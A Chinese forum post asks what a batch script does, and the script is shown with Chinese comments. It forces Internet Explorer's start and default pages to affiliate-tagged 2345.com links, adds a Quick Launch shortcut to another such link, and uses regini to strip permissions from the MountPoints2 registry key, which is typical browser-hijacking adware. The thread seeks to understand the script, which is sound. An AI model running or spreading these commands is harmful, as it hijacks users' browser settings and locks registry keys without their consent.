[系统相关] [已解决]这个bat代码，帮忙看看都是起啥作用的？谢谢

Internet Explorer
Start Page
Default Page URL
Quick Launch
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   set key=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 
:fix 

del %tmp%\ko.txt /q 

echo "%key%" [0] >>%tmp%\ko.txt 

regini %tmp%\ko.txt 
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::设置IE浏览器主页为http://www.2345.com/?k1768550
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://www.2345.com/?k1768550 /f 
::设置IE浏览器默认首页地址为http://www.2345.com/?k1768550
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d http://www.2345.com/?k1768550 /f 
::以下两句为添加http://www.2345.com/?k228957的快速启动项
echo [internetshortcut]>"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet Explorer 浏览器.url" 
echo url= http://www.2345.com/?k228957 >>"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet Explorer 浏览器.url" 
::以下三句为删除注册表项HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2的所有权限
set key=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 
echo "%key%" [0] >>%tmp%\ko.txt 
regini %tmp%\ko.txt 
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set key=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 
del %tmp%\ko.txt /q 
echo "%key%" [0] >>%tmp%\ko.txt 
regini %tmp%\ko.txt 
复制代码